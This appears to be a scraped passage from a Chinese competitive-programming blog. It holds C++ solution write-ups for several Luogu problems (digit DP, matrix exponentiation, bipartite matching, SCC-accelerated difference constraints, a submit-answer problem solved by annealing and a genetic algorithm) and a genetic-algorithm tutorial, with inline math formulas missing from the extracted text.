    for (size_t i = s.length() - 1; ~i; i--) {
17
        if (s[i] > '0') {
18
            s[i]--;
19
            break;
20
        }
21
        s[i] = '9';
22
    }
23
}

展开收起

洛谷 P6371 [COCI2006-2007 #6] V#

题目地址：P6371

题目难度：省选/NOI-

题目来源：COCI Croatian 2007

使用给定的数字，组成一些在之间的数使得这些数每个都能被整除。
对于的数据，保证，。

我们已经解决了很多关于整除的数位DP了，状态设计感觉还挺简单，预处理能填的数字，然后从备选能填的数字中选数来填，维护模数即可。由于状态普通数组存不下（万一模数会很大），考虑使用 STL 来处理这个点。填数时有一个细节是，如果备选数字中没有给，但是我们仍然可以用来当前导零占位，如果不判会 WA 一个点。

然后我们成功 MLE/TLE 了，这是因为我们记录了太多无用且为的状态。也就是说我们需要找到一个方法来加速无解情况的判断，无解其实就是最终的模数不为。如果不是全，那么要让模数为，只有在当前的数大于等于给定模数时才能做到。

假设当前位置为，当前的模数为，要求被整除。我们大胆假设一个特殊情况——后面的位全填。那么当全填上后，模数就应该是。要想最终模数为，那么至少就应该让模数增加，那么当剩下的位全填都还小于这个标准时，那么铁定无解，判断即可。

1
ll dfs(int pos, bool limit, bool zero, ll m, ll x) {
2
    //  位置      顶上界      前导零    模数  题目中的X
3
    if (pos < 0) return !zero && m == 0;
4
    if (!limit && !zero && f.count((PILL) {pos, m})) return f[(PILL) {pos, m}];
5
    ll sum = 0;
6
    // 无解特判部分
7
    ll check = m, tmp = 0;
8
    for (int i = 1; i <= pos + 1; i++) check = check * 10ll % x;
9
    check = (x - check + x) % x;
10
    for (int i = 1; i <= pos + 1; i++) {
11
        tmp = tmp * 10 + candidates.back();
12
        if (tmp > check) break;
13
    }
14
    if (tmp < check) return 0;
15
    for (int i: candidates) {
16
        if (limit && i > num[pos]) break;
17
        if (!i && zero) sum += dfs(pos - 1, limit & (i == num[pos]), true, 0, x);
18
        else if (!allowZero && !i) continue; // 不为前导零，但是不允许填零
19
        else sum += dfs(pos - 1, limit & (i == num[pos]), false, (m * 10 % x + i) % x, x);
20
    }
21
    if (!limit && !zero) f[(PILL) {pos, m}] = sum;
22
    return sum;
23
}

展开收起

P10503 - 233 Matrix 题解

Sun, 01 Sep 2024 11:36:37 GMT

Done

您已获得最佳的阅读体验！

题目地址：P10503

假设我们有一个称为 233 矩阵。在第一行，它可能是 233、2333、23333…（表示，，…）。此外，在 233 矩阵中，我们有。现在已知，你能告诉我 233 矩阵中的吗？

发现很小、很大，于是选择使用的矩阵快速幂做法。

假设矩阵一开始存储列的信息，它看起来是这样的：

由于涉及到的计算，我们需要同时递推相关项，显然有，出现了常数，连同一起，初始矩阵就应该是如下的样子：

然后可以发现：

得出的转移矩阵：

然后让初始矩阵乘以转移矩阵的次幂即可。

1
#include <bits/stdc++.h>
2
#define N 15
3
#define MOD 10000007
4
using namespace std;
5

6
typedef long long ll;
7
typedef pair<int, int> PII;
8

9
int n, m;
10
struct Matrix {
11
    ll mat[N][N]{};
12

13
    Matrix() {
14
        memset(mat, 0, sizeof mat);
15
    }
16

17
    void I() {
18
        for (int i = 1; i <= n + 2; i++) mat[i][i] = 1;
19
    }
20
};
21

22
Matrix operator*(const Matrix &l, const Matrix &r) {
23
    Matrix res;
24
    for (int i = 1; i <= n + 2; i++) {
25
        for (int j = 1; j <= n + 2; j++) {
26
            for (int k = 1; k <= n + 2; k++) {
27
                res.mat[i][j] = (res.mat[i][j] + l.mat[i][k] % MOD * r.mat[k][j] % MOD) % MOD;
28
            }
29
        }
30
    }
31
    return res;
32
}
33

34
Matrix qpow(Matrix a, ll b) {
35
    Matrix res;
36
    res.I();
37
    while (b) {
38
        if (b & 1) res = res * a;
39
        a = a * a;
40
        b >>= 1;
41
    }
42
    return res;
43
}
44

45
void print(Matrix m) {
46
    for (int i = 1; i <= n + 2; i++) {
47
        for (int j = 1; j <= n + 2; j++) {
48
            cout << setw(5) << m.mat[i][j] << ' ';
49
        }
50
        cout << endl;
51
    }
52
}
53

54
int main() {
55
    ios::sync_with_stdio(false);
56
    cin.tie(nullptr);
57
    cout.tie(nullptr);
58

59
    while (cin >> n >> m) {
60
        Matrix A, M;
61
        A.mat[1][1] = 1, A.mat[1][2] = 23;
62
        for (int i = 1; i <= n; i++) {
63
            int x;
64
            cin >> x;
65
            A.mat[1][i + 2] = x;
66
        }
67
        for (int i = 1; i <= n + 2; i++) {
68
            for (int j = i; j <= n + 2; j++) {
69
                M.mat[i][j] = 1;
70
            }
71
        }
72
        for (int i = 2; i <= n + 2; i++) M.mat[1][i] = 3, M.mat[2][i] = 10;
73
        A = A * qpow(M, m);
74
        cout << A.mat[1][n + 2] % MOD << endl;
75
    }
76
    return 0;
77
}

展开收起

P10938 - Vani 和 Cl2 捉迷藏

Sun, 01 Sep 2024 01:37:03 GMT

Done

您已获得最佳的阅读体验！

题目地址：P10938

题目难度：省选/NOI-

Vani 和 cl2 在一片树林里捉迷藏。
这片树林里有座房子，条有向道路，组成了一张有向无环图。
树林里的树非常茂密，足以遮挡视线，但是沿着道路望去，却是视野开阔。
如果从房子沿着路走下去能够到达，那么在和里的人是能够相互望见的。
现在 cl2 要在这座房子里选择座作为藏身点，同时 Vani 也专挑 cl2 作为藏身点的房子进去寻找，为了避免被 Vani 看见，cl2 要求这个藏身点的任意两个之间都没有路径相连。
为了让 Vani 更难找到自己，cl2 想知道最多能选出多少个藏身点。
对于的数据，，，。

乍一看好像求最大点独立集的问题，但是它只存在于无向图中，题目所给是有向图。这道题的答案是该图的最小重复路径点覆盖的路径条数。那么什么是路径点覆盖呢？

在图上选取若干条互不相交的路径，并让这些路径不重不漏覆盖到每一个点。符合上述要求且总数最小的方案就叫做原图的最小路径点覆盖，图中每个节点均只被覆盖一次。而最小重复路径点覆盖则是允许选取的路径相交，即某个点至少被覆盖一次。

在二分图中，最小路径点覆盖的路径条数等于总点数减去最大匹配数；最小路径重复点覆盖的数量则需要先求传递闭包，再计算最小路径点覆盖得出。

这启发我们可以把图转化为二分图来做，具体流程如下：

原图中的点，在二分图中变为和
对于原图所有形如的边，在二分图上连；对于所有形如的边，在二分图上连边

就可以把原图当二分图求解了。

接下来证明为什么答案就是原图的最小重复路径点覆盖。设答案为、原图最小重复路径点覆盖数为，即证明：

证明，考虑最小路径点覆盖的定义：因为条路径已经把所有点覆盖了，选点只能选其中某条路径的某个端点，已知有道路相连的房屋是可以互相看到的，所以不可能同时选某条路径的两个端点（最多选一个）。因此选出的是一定小于等于的。
证明，考虑构造：将所有路径的终点放入一个集合中，为“从出发能够到达的所有点的集合”。如果，均有，意味着内任意两点不互通，此时为一组合法方案，大小为；反之，让当前的沿有向边反着走直到满足上面的情况。若当前点已经退回到它的起点，都还不满足上述情况，意味着这个起点与中的所有点都互通，我们完全可以让作为起点，所有点也都能被覆盖到，此时的最小路径点覆盖数为，与原图最小路径点覆盖数为矛盾。故一定存在。
综上，必定成立。证毕。

此时使用匈牙利算法跑二分图最大匹配，然后就可以得出答案了。时间复杂度，实际上会远小于此。

1
#include <bits/stdc++.h>
2
#define N 210
3
#define M 30010
4
using namespace std;
5

6
bool g[N][N];
7
int match[N];
8
bool st[N];
9
int n, m;
10

11
bool hungary(int u) {
12
    for (int i = 1; i <= n; i++) {
13
        if (g[u][i] && !st[i]) {
14
            st[i] = true;
15
            if (!match[i] || hungary(match[i])) {
16
                match[i] = u;
17
                return true;
18
            }
19
        }
20
    }
21
    return false;
22
}
23

24
void floyd() {
25
    // Floyd 传递闭包
26
    for (int k = 1; k <= n; k++) {
27
        for (int i = 1; i <= n; i++) {
28
            for (int j = 1; j <= n; j++) {
29
                g[i][j] |= g[i][k] & g[k][j];
30
            }
31
        }
32
    }
33
}
34

35
int main() {
36
    ios::sync_with_stdio(false);
37
    cin.tie(nullptr);
38
    cout.tie(nullptr);
39

40
    cin >> n >> m;
41
    while (m--) {
42
        int a, b;
43
        cin >> a >> b;
44
        g[a][b] = 1;
45
    }
46
    floyd();
47
    int res = 0;
48
    for (int i = 1; i <= n; i++) {
49
        memset(st, false, sizeof st);
50
        if (hungary(i)) res++;
51
    }
52
    cout << (n - res) << endl;
53
    return 0;
54
}

展开收起

瓦尼瓦尼和氯气？

P10939 - 骑士放置题解

Sun, 01 Sep 2024 01:13:04 GMT

Done

您已获得最佳的阅读体验！

题目地址：P10939

题目难度：提高+/省选-

给定一个的棋盘，有一些格子禁止放棋子。
问棋盘上最多能放多少个不能互相攻击的骑士（国际象棋的“骑士”，类似于中国象棋的“马”，按照“日”字攻击，但没有中国象棋“别马腿”的规则）。

看到数据范围，，状压 DP 肯定是没戏的。转而寻找其他能够解决棋盘问题的算法。

棋盘是这样的（从隔壁 P3355 借的图）：

骑士放在处，可以攻击到叉号的位置。

此时发现一个规律：骑士能攻击到的方格的颜色与当前被放置方格的颜色是相反的。如果我们让所有某色方格向能到达的异色方格连边，那么两个骑士能互相攻击到就意味着这两个骑士通过若干条边相连。

此时两种颜色的方格恰好组成一张二分图的左右部点；题目要求我们选择尽量多的点，使得选出的点任意两点不互通，我们就可以求这个二分图上的最大点独立集的大小来得到答案。

最大点独立集的大小可以用总点数减去最大匹配得到。由于本题设置了不可到达点，计算时同样也要减去、且进行匈牙利算法时需要排除它们。总的时间复杂度是。

1
#include <bits/stdc++.h>
2

3
#define N 210
4
using namespace std;
5

6
typedef pair<int, int> PII;
7

8
bool g[N][N];
9
PII match[N][N];
10
bool st[N][N];
11
int dx[8] = {-2, -1, 1, 2, -2, 1, -1, 2};
12
int dy[8] = {1, 2, 2, 1, -1, -2, -2, -1};
13
int n, m, k;
14

15
bool hungary(PII t) {
16
    for (int i = 0; i < 8; i++) {
17
        int nx = t.first + dx[i];
18
        int ny = t.second + dy[i];
19
        if (nx < 1 || nx > n || ny < 1 || ny > m) continue;
20
        if (st[nx][ny] || g[nx][ny]) continue;
21
        st[nx][ny] = true;
22
        if (!match[nx][ny].first || hungary(match[nx][ny])) {
23
            match[nx][ny] = t;
24
            return true;
25
        }
26
    }
27
    return false;
28
}
29

30
int main() {
31
    ios::sync_with_stdio(false);
32
    cin.tie(nullptr);
33
    cout.tie(nullptr);
34

35
    cin >> n >> m >> k;
36
    for (int i = 1; i <= k; i++) {
37
        int a, b;
38
        cin >> a >> b;
39
        g[a][b] = true;
40
    }
41
    int res = 0;
42
    for (int i = 1; i <= n; i++) {
43
        for (int j = 1; j <= m; j++) {
44
            if ((i + j) % 2 || g[i][j]) continue;
45
            memset(st, false, sizeof st);
46
            if (hungary((PII) {i, j})) res++;
47
        }
48
    }
49
    cout << n * m - res - k << endl;
50
    return 0;
51
}

展开收起

P10935 - 银河题解

Sun, 01 Sep 2024 00:06:35 GMT

Done

您已获得最佳的阅读体验！

题目地址：P10935

题目难度：提高+/省选-

银河中的恒星浩如烟海，但是我们只关注那些最亮的恒星。
我们用一个正整数来表示恒星的亮度，数值越大则恒星就越亮，恒星的亮度最暗是。
现在对于颗我们关注的恒星，有对亮度之间的相对关系已经判明。
你的任务就是求出这颗恒星的亮度值总和至少有多大。
输入格式：
第一行给出两个整数和。
之后行，每行三个整数，表示一对恒星之间的亮度关系。恒星的编号从开始。
如果，说明和亮度相等。如果，说明的亮度小于的亮度。如果，说明的亮度不小于的亮度。如果，说明的亮度大于的亮度。如果，说明的亮度不大于的亮度。
输出格式：
输出一个整数表示结果。
若无解，则输出。
数据范围：
数据保证，，。

题目给出的大小关系可以转化为如下不等式组：

且需要满足亮度均大于等于，那么这道题有两种做法：

差分约束#

差分约束可以通过把若干形如的不等式组转化为图论问题来求得不等式组的特解。做法是把大的那部分向小的部分连一条长为的有向边，本例中就是有向边。题目要求亮度至少为，让一个虚拟源点向所有点连一条权值为的有向边即可。

然后注意到有一个结论，要求出未知量的最小值，就需要在新图上做最长路，反之做最短路，这两种情况无解当且仅当图中存在正环/负环。

因而可以使用的来求解，但是数据范围都是级别的，这条路不可取。于是我们转而寻找更优的策略解答。

强连通分量#

强连通分量是指图中的极大强连通子图，而有向图强连通当且仅当图中任意两个点连通。

根据这个定义，有向图的强连通分量中必定会存在至少一个环（单点构成的强连通分量除外），考虑到建出的图中边权只会是，因此整张图存在正环当且仅当某个强连通分量中出现了长度为正数的边。

同样需要虚拟源点，使用算法能够在复杂度内解决。

1
#include <bits/stdc++.h>
2

3
#define N 100010
4
#define M 300010
5
using namespace std;
6

7
typedef long long ll;
8

9
struct Edge {
10
    int to, ne, w;
11
} edges[M << 1];
12
int h[N], hs[N], idx = 0;
13
int scc_cnt = 0, dfs_cnt = 0;
14
int scc_id[N], scc_size[N];
15
int dfn[N], low[N];
16
int dist[N];
17
stack<int> stk;
18
bool in_stk[N];
19

20
void add(int head[], int a, int b, int w) {
21
    idx++;
22
    edges[idx].to = b;
23
    edges[idx].ne = head[a];
24
    edges[idx].w = w;
25
    head[a] = idx;
26
}
27

28
void tarjan(int u) {
29
    dfn[u] = low[u] = ++dfs_cnt;
30
    stk.push(u);
31
    in_stk[u] = true;
32
    for (int i = h[u]; ~i; i = edges[i].ne) {
33
        int j = edges[i].to;
34
        if (!dfn[j]) {
35
            tarjan(j);
36
            low[u] = min(low[u], low[j]);
37
        } else if (in_stk[j]) {
38
            low[u] = min(low[u], dfn[j]);
39
        }
40
    }
41
    if (dfn[u] == low[u]) {
42
        scc_cnt++;
43
        int t;
44
        do {
45
            t = stk.top();
46
            stk.pop();
47
            in_stk[t] = false;
48
            scc_id[t] = scc_cnt;
49
            scc_size[scc_cnt]++;
50
        } while (t != u);
51
    }
52
}
53

54
int main() {
55
    ios::sync_with_stdio(false);
56
    cin.tie(nullptr);
57
    cout.tie(nullptr);
58

59
    memset(h, -1, sizeof h);
60
    memset(hs, -1, sizeof hs);
61

62
    int n, m;
63
    cin >> n >> m;
64
    for (int i = 1; i <= n; i++) add(h, 0, i, 1);
65
    while (m--) {
66
        int t, a, b;
67
        cin >> t >> a >> b;
68
        if (t == 1) {
69
            add(h, a, b, 0);
70
            add(h, b, a, 0);
71
        } else if (t == 2) add(h, a, b, 1);
72
        else if (t == 3) add(h, b, a, 0);
73
        else if (t == 4) add(h, b, a, 1);
74
        else add(h, a, b, 0);
75
    }
76
    tarjan(0);
77
    for (int i = 0; i <= n; i++) {
78
        for (int j = h[i]; ~j; j = edges[j].ne) {
79
            int k = edges[j].to;
80
            int a = scc_id[i], b = scc_id[k];
81
            if (a == b) {
82
                if (edges[j].w > 0) {
83
                    cout << -1 << endl;
84
                    return 0;
85
                }
86
            } else add(hs, a, b, edges[j].w);
87
        }
88
    }
89
    for (int i = scc_cnt; i >= 1; i--) {
90
        for (int j = hs[i]; ~j; j = edges[j].ne) {
91
            int k = edges[j].to;
92
            dist[k] = max(dist[k], dist[i] + edges[j].w);
93
        }
94
    }
95
    ll res = 0;
96
    for (int i = 1; i <= scc_cnt; i++) res += dist[i] * scc_size[i];
97
    cout << res << endl;
98
    return 0;
99
}

展开收起

后记#

这道题启示我们，某些差分约束的题目可以使用强连通分量加速求解。

我发现这道题和 P3275 [SCOI2011] 糖果很像，没错，这是双倍经验！

P7812 [JRKSJ R2] - Dark Forest 题解

Sat, 31 Aug 2024 08:43:10 GMT

Done

您已获得最佳的阅读体验！

题目地址：P7812

题目难度：省选/NOI-

题目类型：提交答案 Special Judge

本题为提交答案题。
给你一个长为的序列，定义的排列的权值为
你可以理解为这个排列是一个环，即。
请构造一个权值尽量大的的排列。
输入格式：
第一行一个整数。
第二行个整数表示序列。
输出格式：
一行个整数表示排列。
数据范围：
对于的数据，。
评分方式：
本题使用 Special Judge，每个测试点都有个参数。如果你的输出的权值，则该测试点您至少会获得分。
特别的，如果您的输出不是一个的排列，您会在该测试点获得分。
评分参数已经放至附件。
附件下载：

评分参数

输入数据

什么？提交答案题？直接打表！

首先我们需要明确如何才能构造出一个符合题意的排列，暴力枚举的复杂度是的，显然是不可取的做法。因此我们考虑随机化做法。

测试点 1-2#

提到随机化，我们有模拟退火。先随机一个的排列，再任意交换若干元素并与先前的序列权值进行比较，若更优则直接采纳，否则就依据准则概率接受，其余情况则恢复原状。

在本地跑没有时限，可以把参数调精一点。

1
#include <bits/stdc++.h>
2
#define N 1010
3
#define PRINT_TABLE
4
using namespace std;
5

6
typedef long long ll;
7

8
int n;
9
ll a[N], p[N], q[N];
10
random_device rd;
11
ll ans = 0;
12

13
double rand(double l, double r) {
14
    return (double) rd() / random_device::max() * (r - l) + l;
15
}
16

17
int rand(int l, int r) {
18
    return (int) (rd() % (r - l + 1)) + l;
19
}
20

21
ll calc() {
22
    // 计算权值
23
    ll sum = p[1] * a[p[n]] * a[p[1]] * a[p[2]];
24
    for (int i = 2; i < n; i++) sum += p[i] * a[p[i - 1]] * a[p[i]] * a[p[i + 1]];
25
    sum += p[n] * a[p[n - 1]] * a[p[n]] * a[p[1]];
26
    return sum;
27
}
28

29
void SA() {
30
    double T = 1e10;
31
    ans = max(ans, calc());
32
    while (T > 1e-17) {
33
        int a = rand(1, n), b = rand(1, n);
34
        swap(p[a], p[b]);
35
        ll now = calc();
36
        long double delta = now - ans;
37
        if (delta > 0) {
38
            memcpy(q, p, sizeof p);
39
            ans = now;
40
        } else if (exp(delta / T) <= (double) rd() / random_device::max()) swap(p[a], p[b]);
41
        T *= 0.99996;
42
    }
43
}
44

45
int main() {
46
    ios::sync_with_stdio(false);
47
    cin.tie(nullptr);
48
    cout.tie(nullptr);
49

50
    // Test Point #1 #2
51
    cin >> n;
52
    for (int i = 1; i <= n; i++) cin >> a[i];
53
    for (int i = 1; i <= n; i++) p[i] = i;
54
    shuffle(p + 1, p + 1 + n, mt19937(rd()));
55
    SA();
56
    clog << ans << endl;
57
// 打表格式化
58
#ifdef PRINT_TABLE
59
    cout << '{';
60
    for (int i = 1; i < n; i++) cout << q[i] << ", ";
61
    cout << q[n] << "},\n";
62
#else
63
    for (int i = 1; i <= n; i++) cout << q[i] << ' ';
64
#endif
65
    return 0;
66
}

展开收起

一般来说一秒之内可以出答案。

测试点 3#

测试点 3 的数据很有意思，它是一个单调递增的排列。模拟退火跑了很久，得出的排列有两头大、中间小的特征。于是大胆构造一个特解——从左至右奇数递减、从右至左偶数递减。

测试点 4-10#

模拟退火调了半天参数就是过不去……同机房的大佬好像用加强版的模拟退火跑了几天才跑过？这里推荐一个叫“遗传算法”的解决方案。

遗传算法能通过模拟生物繁衍、自然选择等自然现象来实现求解全局最优解的功能。具体是让当前的优解进行变换，期望能得到一个更优的解。

1
#include <bits/stdc++.h>
2
#define N 1010
3
#define PRINT_TABLE
4
#define LIMIT 141473199965824ll // 每个测试点的最大值
5

6
#pragma optimize(3)
7

8
using namespace std;
9

10
typedef long long ll;
11

12
int n;
13
ll ans = 0, submax = 0;
14
random_device rd;
15
ll a[N], p[N], q[N], id[N];
16

17
ll calc(const ll arr[] = p) {
18
    ll sum = arr[1] * a[arr[n]] * a[arr[1]] * a[arr[2]];
19
    for (int i = 2; i < n; i++) sum += arr[i] * a[arr[i - 1]] * a[arr[i]] * a[arr[i + 1]];
20
    sum += arr[n] * a[arr[n - 1]] * a[arr[n]] * a[arr[1]];
21
    return sum;
22
}
23

24
ll d(int pos1, int pos2) {
25
    // 处理交换前后的变化量
26
    ll sum = 0;
27
    sum -= p[pos1] * a[p[pos1 - 1]] * a[p[pos1]] * a[p[pos1 + 1]] + p[pos1 + 1] * a[p[pos1]] * a[p[pos1 + 1]] * a[p[pos1 + 2]] + p[pos1 - 1] * a[p[pos1 - 2]] * a[p[pos1 - 1]] * a[p[pos1]];
28
    sum -= p[pos2] * a[p[pos2 - 1]] * a[p[pos2]] * a[p[pos2 + 1]] + p[pos2 + 1] * a[p[pos2]] * a[p[pos2 + 1]] * a[p[pos2 + 2]] + p[pos2 - 1] * a[p[pos2 - 2]] * a[p[pos2 - 1]] * a[p[pos2]];
29
    swap(p[pos1], p[pos2]);
30
    sum += p[pos1] * a[p[pos1 - 1]] * a[p[pos1]] * a[p[pos1 + 1]] + p[pos1 + 1] * a[p[pos1]] * a[p[pos1 + 1]] * a[p[pos1 + 2]] + p[pos1 - 1] * a[p[pos1 - 2]] * a[p[pos1 - 1]] * a[p[pos1]];
31
    sum += p[pos2] * a[p[pos2 - 1]] * a[p[pos2]] * a[p[pos2 + 1]] + p[pos2 + 1] * a[p[pos2]] * a[p[pos2 + 1]] * a[p[pos2 + 2]] + p[pos2 - 1] * a[p[pos2 - 2]] * a[p[pos2 - 1]] * a[p[pos2]];
32
    return sum;
33
}
34

35
int rand(int l, int r) {
36
    return (int) (rd() % (r - l + 1)) + l;
37
}
38

39
void GA() {
40
    while (ans < LIMIT) {
41
        for (int i = 1; i <= 20; i++) {
42
            int a = rand(1, n), b = rand(1, n);
43
            swap(p[a], p[b]);
44
        }
45
        submax = calc(); // 当前值
46
        shuffle(id + 1, id + 1 + n, mt19937(rd())); // 每次打乱枚举顺序
47
        bool flag;
48
        do { // 还能变得更优就继续下去
49
            flag = false;
50
            #pragma unroll 20
51
            for (int i = 1; i < n; i++) {
52
                for (int j = i + 1; j <= n; j++) {
53
                    ll cur;
54
                    int pos1 = id[i], pos2 = id[j];
55
                    if (abs(pos2 - pos1) <= 5 || abs(pos2 - pos1) >= n - 5) {
56
                        swap(p[pos1], p[pos2]);
57
                        cur = calc();
58
                    } else {
59
                        cur = submax + d(pos1, pos2);
60
                    }
61
                    if (cur > ans) {
62
                        ans = submax = cur;
63
                        memcpy(q, p, sizeof p);
64
                        if (ans > (ll) (LIMIT * 0.999)) cerr << ans << endl;
65
                        flag = true;
66
                        if (ans >= LIMIT) return;
67
                    } else if (cur > submax) {
68
                        submax = cur;
69
                        flag = true;
70
                    } else swap(p[pos1], p[pos2]);
71
                }
72
            }
73
        } while (flag);
74
    }
75
}
76

77
int main() {
78
    ios::sync_with_stdio(false);
79
    cin.tie(nullptr);
80
    cout.tie(nullptr);
81

82
    // Test Point #4 #5 #6 #7 #8 #9
83
    freopen("9.in", "r", stdin);
84
    freopen("9.out", "w", stdout);
85
    cin >> n;
86
    for (int i = 1; i <= n; i++) cin >> a[i];
87
    for (int i = 1; i <= n; i++) p[i] = i, id[i] = i;
88
    GA();
89
    clog << "Final Answer: " << calc(q) << " Overloaded: " << calc(q) - LIMIT << endl;
90
#ifdef PRINT_TABLE
91
    cout << '{';
92
    for (int i = 1; i < n; i++) cout << q[i] << ", ";
93
    cout << q[n] << "}\n";
94
#else
95
    for (int i = 1; i <= n; i++) cout << q[i] << ' ';
96
#endif
97
    return 0;
98
}

展开收起

跑得稍久一些，但是还是比较快的。

物竞天择遗传算法

Wed, 28 Aug 2024 09:08:57 GMT

前言#

遗传算法Genetic Algorithm，简称 GA。是一种基于随机化的最优解搜索算法，它和模拟退火Simulate Anneling都基于随机化，遗传算法通过模拟自然界生物的遗传和变异、自然选择和淘汰的过程来找到最优种群（最优解）；后者则是通过设定一个初始温度以及降温率、将当前最优解进行随机扰动以寻得更优的解来找到最优解。

（纯属虚构）遗传算法就好比生活在中原地区的 OIer 们，竞赛主办方希望筛选出“随机化算法调参能力最强的一批选手”。于是官方从今年起，将复试的四道试题全部换成了需要模拟退火才能解决的问题，并且严格卡精度和时限。这样一来，调参能力弱的选手大多在复试中遗憾落榜，剩下的大部分都是调参能力强的选手……如此几年之后，官方会惊奇地发现全国选手的调参能力都有了大幅提升，最佳选手同样可以通过逐渐严格的要求来筛选出来。

相比之下，遗传算法适合解决复杂的离散与组合优化问题，在问题规模较大、搜索空间复杂时表现良好。

生物术语#

学遗传算法首先就需要搞清楚它背后的基本生物学概念（都是高一内容，请放心食用）：

个体和种群：生命系统的其中两级结构层次，前者是指单一的生物体；后者则是指同一时间在一定区域内生活的同种生物的全部个体（同一时间、一定区域、同种生物、全部个体）
染色体：由组蛋白和缠绕的 DNA 双链构成，是遗传信息的载体
基因型：某个体全部基因组合的总称，可以理解为个体的基因组成
互换（基因重组）、基因突变：前者发生在减数分裂的前期，指在一对联会的同源染色体（四分体）间发生染色体相应片段的交换；后者是指基因发生的部分碱基对的改变
自然选择：来自达尔文进化论。他主张种群间存在生存斗争，有利突变积累得更多的个体有更大的几率在斗争中存活下来并将这些有利突变遗传给后代。即“物竞天择，适者生存”

以下几张图可以帮助你更轻松的理解这些概念：

互换：

互换

基因突变：

基因突变

算法基本流程#

适应性描述#

我们引入一个适应性函数表示当前种群在当前环境下的生存表现，分数越高的种群就越有可能在此轮将当前代的优良基因遗传下去，即参与下一轮迭代。而随着迭代次数的增加，每一代的平均表现值会增加，当找到我们想要的优良后代时，停止这个算法，并宣布我们已经找到了一个令人满意的解。

的计算因题而异。在费马点的求解中，它可以是当前点到其他点的欧几里得距离之和；在最优化排列问题中，它可以是当前排列的总贡献、也可以是当前排列与标准排列之间的元素差距……总之，这个函数需要能定量地描述当前解与标准解之间的差距。

基因的突变和重组#

遗传算法的一大乐趣就是模拟“遗传”和“变异”的过程。我们考虑把整个染色体编码成一个 0/1 串（实数串也是可行的），每一位代表一个基因，整个个体就可以看作是一个染色体集合（二进制串集合）。遗传时按照均等概率从父方和母方继承基因、变异过程也能通过随机取反某一位实现。

双亲杂交的代码实现如下（C++17 标准）：

1
// 整数版本 - LENGTH 宏记录整数的二进制最高包含多少位
2
[[nodiscard]] Individual hybrid(Individual p) const {
3
    int child = 0;
4
    for (int i = 0; i <= LENGTH; i++) {
5
        if (rand(1, 100) <= 50) child |= (gene >> i);
6
        else child |= (p.gene >> i);
7
    }
8
    return Individual(child);
9
}
10

11
// 字符串版本
12
[[nodiscard]] Individual hybrid(Individual p) const {
13
    string child;
14
    size_t len = gene.length();
15
    for (int i = 0; i < len; i++) {
16
        if (rand(1, 100) <= 50) child[i] = gene[i];
17
        else child[i] = p.gene[i];
18
    }
19
    return Individual(child);
20
}

展开收起

个体突变的代码实现如下（C++17 标准）：

1
// 整数版本 - LENGTH 宏记录整数的二进制最高包含多少位
2
void mutate() {
3
    int times = rand(1, 3); // 突变 1~3 个基因，可调
4
    for (int i = 1; i <= times; i++) {
5
        int pos = rand(0, LENGTH);
6
        gene ^= (1 << pos);
7
    }
8
}
9

10
// 字符串版本
11
void mutate() {
12
    int times = rand(1, 3);
13
    for (int i = 1; i <= times; i++) {
14
        int pos = rand(0, gene.length() - 1);
15
        gene[pos] = (gene[pos] == '0' ? '1' : '0');
16
    }
17
}

展开收起

优解的筛选与继承#

算法开始时，我们会创建一个虚拟种群，种群大小是一个参数，一般在内。对于每一代，我们都在种群中随机选择个体杂交得到子一代。

和模拟退火一样，我们计算一下子代的适应参数，如果与亲代相比有了进步，那我们就毫不犹豫地让它生存下去；反之，这个子代是有一定几率能生存下去的，我们让这个概率遵循准则，即，取是比较明智的。

那如何最大化解的最优性呢？可以使用不同的随机算子，常用的几种随机算子如下：

最佳保留选择#

这是为了最小化不定向变异和随机遗传带来的优良性状丢失所设计的选择算子。

首先把父代集合按照适应性进行降序排列，选取最靠前的若干个体，并让它们直接拿到进入下一代的入场券。然后再从排名相对靠前的亲代个体中选择个体杂交，并继承到子代。

因为代码实现简单、排序的时间复杂度相对较低、保证继承优良性状、有效减少随机性损失、维持了最基本的基因多样性，因此这是最常用的选择算子之一。

轮盘赌选择#

类似于分层抽样调查的原理。首先计算出种群内所有个体的适应度之和，接下来对于每个个体，被选中的概率可以通过如下公式导出：

此后再进行随机，按照计算出的概率分配名额即可。实现难度较最佳保留选择较大，而且这种选择算子造成的选择误差也会更大一些。

随机竞争选择#

每次用轮盘赌选择选出两个个体，并让二者进行竞争，适应度大的保留，选入下一代，直到满额为止。这种方法的时间复杂度较高，但是能比较有效的保留亲代优良性状。

因为最佳保留选择算子的实现简单、效果较好，因此下面给出最佳保留选择的实现代码：

1
// MAX_POPULATION 是种群的最大个体数；MAX_ADAPTION 作用是让父代表现优异的保送进下一代；MAX_ACCEPTANCE 用来设置父代生存能力排名的上限
2
vector<Individual> initP; // 初始种群
3
for (int i = 1; i <= MAX_POPULATION; i++) initP.emplace_back(rand(0, 1000000), rand(0, 1000000));
4
for (int T = 10; T; T--) {
5
    // 繁衍 10 代，可调
6
    vector<Individual> curP; // 子代
7
    sort(initP.begin(), initP.end()); // 排序
8
    for (int i = 0; i <= MAX_ADAPTION; i++) curP.push_back(initP[i]); // 保送
9
    while (curP.size() < MAX_POPULATION) {
10
        Individual p = initP[rand(0, MAX_ACCEPTANCE)]; // 选出父代
11
        Individual child = p.hybrid(initP[rand(0, MAX_ACCEPTANCE)]); // 杂交得到子代
12
        if (rand(0.0, 1.0) <= 0.02) child.mutate(); // 2% 的几率突变个别基因，几率可调
13
        double x = child.fit, y = p.fit;
14
        double delta = x - y;
15
        if (delta < 0 || exp(-delta / T) / 2.0 > rand(0.0, 1.0)) curP.push_back(child); // 优胜劣汰
16
    }
17
    initP = curP; // 更新种群
18
}

展开收起

典型例题#

UVA 10228 / POJ 2420 - A Star not a Tree? / AcWing 3167 星星还是树#

题目地址：UVA 10228/POJ 2420/AcWing 3167

题目难度：普及+/提高

题面来源于 AcWing

在二维平面上有个点，第个点的坐标为。
请你找出一个点，使得该点到这个点的距离之和最小。
该点可以选择在平面中的任意位置，甚至与这个点的位置重合。
输入格式：
第一行包含一个整数。
接下来行，每行包含两个整数，表示其中一个点的位置坐标。
输出格式：
输出最小距离和，答案四舍五入取整。
数据范围：
请注意，UVA 题目的输出有细微不同！

这道题是一道求解平面费马点的模板问题。我们把当前点的坐标设计成基因，由于题目要求保留整数，为了精度，坐标需要保留到两位小数，考虑到，我们可以把这个数设置成以内的整数，在计算时除以即可；在设计适应性函数时，我们就选用当前点到其他点的距离之和；稍微调整一下参数，我们就可以过掉这个题。为了方便，这里转而使用父代自交的方法产生子代。

1
#include <bits/stdc++.h>
2

3
#define N 110
4
#define MAX_POPULATION 500
5
#define MAX_ADAPTION 30
6
#define MAX_ACCEPTANCE 50
7
